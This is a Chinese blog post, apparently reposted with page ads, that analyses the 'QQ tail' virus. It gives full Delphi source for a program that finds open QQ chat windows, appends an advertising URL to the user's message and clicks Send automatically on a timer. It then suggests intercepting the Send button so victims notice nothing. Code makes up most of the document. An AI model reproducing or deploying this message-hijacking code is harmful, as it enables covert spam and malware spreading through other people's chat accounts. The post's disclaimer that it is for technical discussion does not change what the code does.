QQ尾巴病毒的发送原理分析

<script type="text/javascript"> </script> <script type="text/javascript" src="http://pagead2.googlesyndication.com/pagead/show_ads.js"> </script>
<script type="text/javascript"> </script><script type="text/javascript" src="http://pagead2.googlesyndication.com/pagead/show_ads.js"> </script>
rel=File-List href="QQ 尾巴病毒发送原理分析.files/filelist.xml"> QQ<A href="http://www.66of.com" target=_blank>尾巴病毒</A>的<A href="http://www.66of.com" target=_blank>发送原理分析</A>

QQ尾巴病毒发送原理分析

 

近来QQ尾巴病毒大肆发作,我也是经常收到网友们发到来的带尾巴的消息,于是,好奇心一来,我也来研究研究此病毒的发作原理。首先,我不知道QQ尾巴病毒真正的原理,我只是猜测并且自己写了一个类似的程序来实现它。

 

QQ尾巴的发作情况:当用户打开一个QQ消息发送窗口时,病毒会自动 往消息文本框里输入文本,然后不等用户反应过来就发出去了。

 

程序实现:首先要找到QQ消息发送窗口的句柄以及消息文本框与“发送”按钮的窗口句柄。

 

一、              如何找到QQ消息发送窗口句柄:

QQ消息发送窗口有两种,一种是消息模式,在这种情况下,窗口标题含有“发送消息”字样;一种是聊天模式,窗口标题含有“聊天中”字样;

通过枚举窗口就可找到相应的句柄:

// 取得QQ的发送消息窗口

function GetQQWnd:HWND;

var

  hCurrentWindow:HWnd;

  WndText :String;

begin

  hCurrentWindow:= GetWindow(Application.Handle,GW_HWNDFIRST);

  while hCurrentWindow <> 0 do

  begin

    WndText := GetWndText(hCurrentWindow);

    if (Pos(' 聊天中 ',WndText)>0)or (Pos('发送消息', WndText)>0) then

    begin

      Result := hCurrentWindow;

      Exit;

    end;

    hCurrentWindow := GetWindow( hCurrentWindow, GW_HWNDNEXT);

  end;

  Result :=0;

end ;

 

二、              如何找到“发送”按钮窗口句柄:

找到了QQ的发送消息窗口后,就可以进一步查找“发送”按钮句柄了,如窗口句柄为 qqWnd,则可以用一个循环,查找文本中含有“发送”字样的窗口,经过试验发现,“发送”按钮恰恰是窗体的第一个子窗口,这样,可以用

btnWnd :=GetDlgItem(qqWnd,1);   // 发送按钮

来获得“发送”按钮的句柄。

 

三、              如何找到消息文本框窗口句柄:

消息文本框并不好找,不过你可以先在消息文本框中输入几个字母,如“ abcd”,这样我们就可以用上述方法来查找了,不过通过实验后,发现消息文本框并不是QQ窗口的直接子窗口,而是其中 一个子窗口的子窗口,通过实验,可以用

txtWnd :=GetWindow(GetDlgItem(qqWnd,0),GW_CHILD);   // 文本框

来获得。

 

四、              如何获得 原消息文本框的文本:

要获取 原消息文本框的文本,只需要一个API函数就行了,如下:

// 获得窗口文本

function GetWndText( hWnd: HWND): String;

Var

  Ret:LongInt;

  mText:PChar;

  Buf:Integer;

begin

  Ret := SendMessage(hWnd,WM_GETTEXTLENGTH,0,0)+1;

  GetMem ( mText,Ret);

  try

    Buf := LongInt(mText);

    SendMessage ( hWnd,WM_GETTEXT,Ret,Buf);

    Result := StrPas( mText);

  finally

    FreeMem (mText,Ret);

  end;

end ;

 

五、              如何 住原消息文本框里追加文本:

与取文本 相反

// 发送文本到窗口

procedure SetWndText( hWnd: HWND; Text: String);

Var

  Ret:LongInt;

  mText:PChar;

  Buf:Integer;

begin

  GetMem ( mText,Length(Text));

  StrCopy ( mText,PChar(Text));

  try

    Buf := LongInt(mText);

    SendMessage (hWnd,WM_SETTEXT,0,Buf);

  finally

    FreeMem (mText,Length(Text));

  end;

end ;

六、              如果让“发送”按钮自动点击:

一切都准备好了,现在要开始发送了,为了 让消息自动发送,我们可以模拟“发送”按钮被点击了。

  SendMessage (btnWnd,WM_LBUTTONDOWN,MK_LBUTTON,0);

  SendMessage (btnWnd,WM_LBUTTONUP,0,0);

通过模拟一个鼠标在“开始”按钮上的按下与放开,就实现了点击发送功能。

 

七、              其它的定时功能比较简单,在此也不多说了。

 

八、              全部源代码如下:

unit Unit1;

 

interface

 

uses

 Windows, Messages, SysUtils, Variants,Classes, Graphics, Controls, Forms,

 Dialogs, StdCtrls, ExtCtrls;

 

type

 TForm1 = class(TForm)

    Timer1: TTimer;

    Button1: TButton;

    Edit1: TEdit;

    Label1: TLabel;

    Button2: TButton;

    procedureTimer1Timer(Sender: TObject);

    procedureButton1Click(Sender: TObject);

    procedureButton2Click(Sender: TObject);

 private

    { Privatedeclarations }

 public

    { Publicdeclarations }

 end;

 

var

 Form1: TForm1;

 

implementation

 

{$R *.dfm}

 

// 获得窗口文本

function GetWndText(hWnd:HWND): String;

Var

 Ret:LongInt;

 mText:PChar;

 Buf:Integer;

begin

 Ret:=SendMessage(hWnd,WM_GETTEXTLENGTH,0,0)+1;

 GetMem ( mText,Ret);

 try

    Buf := LongInt(mText);

    SendMessage ( hWnd,WM_GETTEXT,Ret,Buf);

    Result := StrPas( mText);

 finally

    FreeMem (mText,Ret);

 end;

end ;

// 发送文本到窗口

procedure SetWndText(hWnd:HWND; Text: String);

Var

 Ret:LongInt;

 mText:PChar;

 Buf:Integer;

begin

 GetMem ( mText,Length(Text));

 StrCopy ( mText,PChar(Text));

 try

    Buf := LongInt(mText);

    SendMessage (hWnd,WM_SETTEXT,0,Buf);

 finally

    FreeMem (mText,Length(Text));

 end;

end ;

// 取得QQ的发送消息窗口

function GetQQWnd: HWND;

var

 hCurrentWindow: HWnd;

 WndText:String;

begin

 hCurrentWindow := GetWindow( Application.Handle,GW_HWNDFIRST);

 while hCurrentWindow<> 0 do

 begin

    WndText := GetWndText(hCurrentWindow);

    if (Pos(' 聊天中 ',WndText)>0)or (Pos('发送消息', WndText)>0) then

    begin

      Result := hCurrentWindow;

      Exit;

    end;

    hCurrentWindow := GetWindow( hCurrentWindow, GW_HWNDNEXT);

 end;

 Result:=0;

end ;

// 定时处理

procedure TimerProc;

var

 qqWnd,txtWnd,btnWnd:HWND;

 Msg:String;

begin

 qqWnd:= GetQQWnd;

 if qqWnd=0 then Exit;

 

 btnWnd:=GetDlgItem(qqWnd,1);   // 发送按钮

 txtWnd:=GetWindow( GetDlgItem(qqWnd,0),GW_CHILD);   // 文本框

 if (btnWnd=0) or ( txtWnd=0) then Exit;

 Msg:= GetWndText( txtWnd);

 Msg:=Msg+#13+#10+' 欢迎光临绿荫网络 http://www.lvyin.net';

 SetWndText ( txtWnd,Msg);

 SendMessage (btnWnd,WM_LBUTTONDOWN,MK_LBUTTON,0);

 SendMessage (btnWnd,WM_LBUTTONUP,0,0);

end ;

 

procedure TForm1.Timer1Timer(Sender: TObject);

begin

 TimerProc;

end ;

 

procedure TForm1.Button1Click(Sender: TObject);

begin

 Timer1.Enabled :=not Timer1.Enabled;

 if Timer1.Enabled then

    Button1.Caption :=' 停 止 '

 else

    Button1.Caption :=' 开 始 ';

end ;

 

procedure TForm1.Button2Click(Sender: TObject);

begin

 Timer1.Interval :=StrToInt(Edit1.Text);

end ;

 

end .

 

       总结:上面只讲述了QQ消息自动发送的主要功能,这或许跟QQ尾巴的原理不同(我也不知道),但总体上应该差不多。如果要做到让用户感觉不到异常,就要改一下了,不要自动发送,而是在当用户点击了“发送”按钮后再把文本加进去。这样的话可是拦截“发送”按钮的点 击消息,然后再用上述方法把文本加进去,然后把消息交还原程序处理。至于如何让它成为病毒,会自我复制,自我隐藏等功能,那又是另外一个话题了,在此就不多讲了。

 

       :此文只作技术研讨之用,希望大家不要拿它来捣蛋,如有产生后果,本人概不负责。欢迎大家来信探讨。

 

       作者:吴创豪

       Email:wuqiu@regalcyber.com

       HomePage:http://www.chuanghao.com

 

<script type="text/javascript"> </script> <script type="text/javascript" src="http://pagead2.googlesyndication.com/pagead/show_ads.js"> </script>
<script type="text/javascript"> </script><script type="text/javascript" src="http://pagead2.googlesyndication.com/pagead/show_ads.js"> </script>
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值